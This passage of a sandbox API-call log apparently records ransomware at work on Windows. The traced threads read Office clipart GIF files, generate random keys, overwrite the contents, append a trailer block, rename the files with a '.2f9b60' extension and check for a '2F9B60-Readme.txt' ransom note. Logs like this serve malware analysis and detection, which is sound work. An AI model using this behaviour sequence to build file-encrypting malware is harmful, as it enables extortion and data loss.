Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29c0f918, FileInformation=0x29c0f928) returned 0x0 [0109.456] NtSetInformationFile (FileHandle=0xee4, IoStatusBlock=0x29c0f918, FileInformation=0x29c0f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0b50) returned 1 [0109.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e170) returned 1 [0109.459] FlushFileBuffers (hFile=0xee4) returned 1 [0109.462] CloseHandle (hObject=0xee4) returned 1 [0109.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0bf0 [0109.464] wcscpy (in: _Dest=0x202b0bf0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.464] wcscat (in: _Dest=0x202b0bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0bf0) returned 1 [0109.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cb10) returned 1 Thread: id = 643 os_tid = 0x10f0 [0095.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0096.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF", dwFileAttributes=0x20) returned 1 [0096.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xee0 [0096.443] GetFileSizeEx (in: hFile=0xee0, lpFileSize=0x297cf7c0 | out: lpFileSize=0x297cf7c0*=517) returned 1 [0096.444] SetFilePointerEx (in: hFile=0xee0, liDistanceToMove=0x201, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.444] ReadFile (in: hFile=0xee0, lpBuffer=0x297cf740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x297cf788, lpOverlapped=0x0 | out: lpBuffer=0x297cf740*, lpNumberOfBytesRead=0x297cf788*=0x4, lpOverlapped=0x0) returned 1 [0096.445] SetFilePointerEx (in: hFile=0xee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0096.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0096.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860600 [0096.445] NtQuerySystemTime (in: CurrentTime=0x297cf680 | out: CurrentTime=0x297cf680*=132462177022810000) returned 0x0 [0096.445] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x46a25984 [0096.445] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x3d7db6c6 [0096.445] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x5639427d [0096.445] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0xe748605 [0096.445] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x53d1c851 [0096.445] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x1cfd854c [0096.445] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x195bc2ca [0096.445] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x7a87b9f4 [0096.445] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x378c4d8c [0096.445] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x76474498 [0096.445] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x30095657 [0096.445] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x30a3f193 [0096.445] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x5bac1216 [0096.445] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x786cfc3e [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x22c0a335 [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x4b79a274 [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x6e646bca [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x45a64ba8 [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x7bce9367 [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x30dcb875 [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x26d95782 [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x5466acf [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x23f7737e [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x1879510c [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x53ce7b63 [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x2d42b511 [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x13be43bd [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x76bc8ce7 [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x20481296 [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x12d1a098 [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x25293116 [0096.446] RtlRandomEx (in: Seed=0x297cf670 | out: Seed=0x297cf670) returned 0x12499bcb [0096.455] ReadFile (in: hFile=0xee0, lpBuffer=0x201a6910, nNumberOfBytesToRead=0x205, lpNumberOfBytesRead=0x297cf670, lpOverlapped=0x0 | out: lpBuffer=0x201a6910*, lpNumberOfBytesRead=0x297cf670*=0x205, lpOverlapped=0x0) returned 1 [0096.455] SetFilePointerEx (in: hFile=0xee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.455] WriteFile (in: hFile=0xee0, lpBuffer=0x201aa520*, nNumberOfBytesToWrite=0x205, lpNumberOfBytesWritten=0x297cf674, lpOverlapped=0x0 | out: lpBuffer=0x201aa520*, lpNumberOfBytesWritten=0x297cf674*=0x205, lpOverlapped=0x0) returned 1 [0096.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0096.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0096.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9a0) returned 1 [0096.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201aa520) returned 1 [0096.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a6910) returned 1 [0096.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0096.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0096.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85f9a0 [0096.477] SetFilePointerEx (in: hFile=0xee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0096.477] WriteFile (in: hFile=0xee0, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x297cf790, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x297cf790*=0x10a, lpOverlapped=0x0) returned 1 [0100.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd10 [0100.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x204fb690 [0100.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0100.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0100.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0100.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0100.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0100.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0100.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fb690) returned 1 [0100.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd10) returned 1 [0100.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f230 [0100.895] sprintf (in: _Dest=0x1cd9f230, _Format="%c%c" | out: _Dest="96") returned 2 [0100.895] sprintf (in: _Dest=0x1cd9f232, _Format="%c%c" | out: _Dest="d0") returned 2 [0100.895] sprintf (in: _Dest=0x1cd9f234, _Format="%c%c" | out: _Dest="00") returned 2 [0100.895] sprintf (in: _Dest=0x1cd9f236, _Format="%c%c" | out: _Dest="a0") returned 2 [0100.895] sprintf (in: _Dest=0x1cd9f238, _Format="%c%c" | out: _Dest="14") returned 2 [0100.895] sprintf (in: _Dest=0x1cd9f23a, _Format="%c%c" | out: _Dest="6a") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f23c, _Format="%c%c" | out: _Dest="55") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f23e, _Format="%c%c" | out: _Dest="0b") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f240, _Format="%c%c" | out: _Dest="6b") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f242, _Format="%c%c" | out: _Dest="77") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f244, _Format="%c%c" | out: _Dest="4d") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f246, _Format="%c%c" | out: _Dest="49") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f248, _Format="%c%c" | out: _Dest="cc") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f24a, _Format="%c%c" | out: _Dest="d6") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f24c, _Format="%c%c" | out: _Dest="30") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f24e, _Format="%c%c" | out: _Dest="d2") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f250, _Format="%c%c" | out: _Dest="1b") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f252, _Format="%c%c" | out: _Dest="b0") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f254, _Format="%c%c" | out: _Dest="46") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f256, _Format="%c%c" | out: _Dest="49") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f258, _Format="%c%c" | out: _Dest="07") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f25a, _Format="%c%c" | out: _Dest="d8") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f25c, _Format="%c%c" | out: _Dest="e2") returned 2 [0100.896] sprintf (in: _Dest=0x1cd9f25e, _Format="%c%c" | out: _Dest="a2") returned 2 [0100.897] RtlInitAnsiString (in: DestinationString=0x297cf808, SourceString="96d000a0146a550b6b774d49ccd630d21bb0464907d8e2a2" | out: DestinationString="96d000a0146a550b6b774d49ccd630d21bb0464907d8e2a2") [0100.897] RtlAnsiStringToUnicodeString (in: DestinationString=0x297cf7d8, SourceString="96d000a0146a550b6b774d49ccd630d21bb0464907d8e2a2", AllocateDestinationString=1 | out: DestinationString="96d000a0146a550b6b774d49ccd630d21bb0464907d8e2a2") returned 0x0 [0100.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e720 [0100.897] wcscat (in: _Dest=0x202b1190, _Source="96d000a0146a" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\96d000a0146a") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\96d000a0146a" [0100.897] wcscat (in: _Dest=0x202b1190, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\96d000a0146a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\96d000a0146a.2f9b60" [0100.897] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\96d000a0146a.2f9b60", NtPathName=0x297cf7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\96d000a0146a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107240 [0109.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107240) returned 1 [0109.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99d40) returned 1 [0109.603] NtQueryInformationFile (in: FileHandle=0xee0, IoStatusBlock=0x297cf818, FileInformation=0x297cf828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x297cf818, FileInformation=0x297cf828) returned 0x0 [0109.603] NtSetInformationFile (FileHandle=0xee0, IoStatusBlock=0x297cf818, FileInformation=0x297cf828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1190) returned 1 [0109.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e720) returned 1 [0109.608] FlushFileBuffers (hFile=0xee0) returned 1 [0109.614] CloseHandle (hObject=0xee0) returned 1 [0109.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1190 [0109.617] wcscpy (in: _Dest=0x202b1190, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.617] wcscat (in: _Dest=0x202b1190, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1190) returned 1 [0109.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 Thread: id = 644 os_tid = 0x10f4 [0095.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0096.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF", dwFileAttributes=0x20) returned 1 [0096.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xedc [0096.421] GetFileSizeEx (in: hFile=0xedc, lpFileSize=0x2425fcc0 | out: lpFileSize=0x2425fcc0*=502) returned 1 [0096.421] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x1f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.421] ReadFile (in: hFile=0xedc, lpBuffer=0x2425fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2425fc88, lpOverlapped=0x0 | out: lpBuffer=0x2425fc40*, lpNumberOfBytesRead=0x2425fc88*=0x4, lpOverlapped=0x0) returned 1 [0096.423] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0096.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0096.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0096.423] NtQuerySystemTime (in: CurrentTime=0x2425fb80 | out: CurrentTime=0x2425fb80*=132462177022498000) returned 0x0 [0096.423] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x3846cf73 [0096.423] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x47d4be1e [0096.423] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x2e08a448 [0096.423] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x860a57b [0096.423] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x64741927 [0096.423] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x5367a613 [0096.423] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x2f9ac718 [0096.423] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x45bfa37c [0096.423] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x1a5173bd [0096.423] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x3bae201a [0096.423] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x2784ba82 [0096.423] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x7b045563 [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x67959dd2 [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x75274eb6 [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x329b042c [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x1f814d3 [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x3aeeb133 [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x22b65262 [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x3fc10e8 [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x44c3ad72 [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x47635093 [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x4ffe0480 [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x4c61a23e [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x14790367 [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x37ab36e5 [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x32a4679a [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x2701c787 [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x6e8a5f97 [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x65794fbe [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x2122975d [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x38aae29a [0096.424] RtlRandomEx (in: Seed=0x2425fb70 | out: Seed=0x2425fb70) returned 0x1b7b52c2 [0096.434] ReadFile (in: hFile=0xedc, lpBuffer=0x201a2d00, nNumberOfBytesToRead=0x1f6, lpNumberOfBytesRead=0x2425fb70, lpOverlapped=0x0 | out: lpBuffer=0x201a2d00*, lpNumberOfBytesRead=0x2425fb70*=0x1f6, lpOverlapped=0x0) returned 1 [0096.434] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.434] WriteFile (in: hFile=0xedc, lpBuffer=0x2019b4e0*, nNumberOfBytesToWrite=0x1f6, lpNumberOfBytesWritten=0x2425fb74, lpOverlapped=0x0 | out: lpBuffer=0x2019b4e0*, lpNumberOfBytesWritten=0x2425fb74*=0x1f6, lpOverlapped=0x0) returned 1 [0096.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0096.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0096.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0096.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019b4e0) returned 1 [0096.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a2d00) returned 1 [0096.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0096.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c800) returned 1 [0096.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fb20 [0096.513] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0096.513] WriteFile (in: hFile=0xedc, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2425fc90, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2425fc90*=0x10a, lpOverlapped=0x0) returned 1 [0100.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bdb0 [0100.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x204fd690 [0100.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0100.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606c0) returned 1 [0100.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0100.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0100.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0100.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f970) returned 1 [0100.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0100.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bdb0) returned 1 [0100.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f230 [0100.902] sprintf (in: _Dest=0x1cd9f230, _Format="%c%c" | out: _Dest="0f") returned 2 [0100.902] sprintf (in: _Dest=0x1cd9f232, _Format="%c%c" | out: _Dest="7d") returned 2 [0100.902] sprintf (in: _Dest=0x1cd9f234, _Format="%c%c" | out: _Dest="86") returned 2 [0100.902] sprintf (in: _Dest=0x1cd9f236, _Format="%c%c" | out: _Dest="8c") returned 2 [0100.902] sprintf (in: _Dest=0x1cd9f238, _Format="%c%c" | out: _Dest="f5") returned 2 [0100.902] sprintf (in: _Dest=0x1cd9f23a, _Format="%c%c" | out: _Dest="6d") returned 2 [0100.902] sprintf (in: _Dest=0x1cd9f23c, _Format="%c%c" | out: _Dest="e7") returned 2 [0100.902] sprintf (in: _Dest=0x1cd9f23e, _Format="%c%c" | out: _Dest="05") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f240, _Format="%c%c" | out: _Dest="c5") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f242, _Format="%c%c" | out: _Dest="03") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f244, _Format="%c%c" | out: _Dest="ba") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f246, _Format="%c%c" | out: _Dest="ef") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f248, _Format="%c%c" | out: _Dest="00") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f24a, _Format="%c%c" | out: _Dest="64") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f24c, _Format="%c%c" | out: _Dest="e9") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f24e, _Format="%c%c" | out: _Dest="a5") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f250, _Format="%c%c" | out: _Dest="8d") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f252, _Format="%c%c" | out: _Dest="2c") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f254, _Format="%c%c" | out: _Dest="81") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f256, _Format="%c%c" | out: _Dest="ad") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f258, _Format="%c%c" | out: _Dest="61") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f25a, _Format="%c%c" | out: _Dest="fa") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f25c, _Format="%c%c" | out: _Dest="16") returned 2 [0100.903] sprintf (in: _Dest=0x1cd9f25e, _Format="%c%c" | out: _Dest="74") returned 2 [0100.903] RtlInitAnsiString (in: DestinationString=0x2425fd08, SourceString="0f7d868cf56de705c503baef0064e9a58d2c81ad61fa1674" | out: DestinationString="0f7d868cf56de705c503baef0064e9a58d2c81ad61fa1674") [0100.903] RtlAnsiStringToUnicodeString (in: DestinationString=0x2425fcd8, SourceString="0f7d868cf56de705c503baef0064e9a58d2c81ad61fa1674", AllocateDestinationString=1 | out: DestinationString="0f7d868cf56de705c503baef0064e9a58d2c81ad61fa1674") returned 0x0 [0100.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e6b0 [0100.904] wcscat (in: _Dest=0x202b12d0, _Source="0f7d868cf56d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7d868cf56d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7d868cf56d" [0100.904] wcscat (in: _Dest=0x202b12d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7d868cf56d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7d868cf56d.2f9b60" [0100.904] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7d868cf56d.2f9b60", NtPathName=0x2425fcb0, 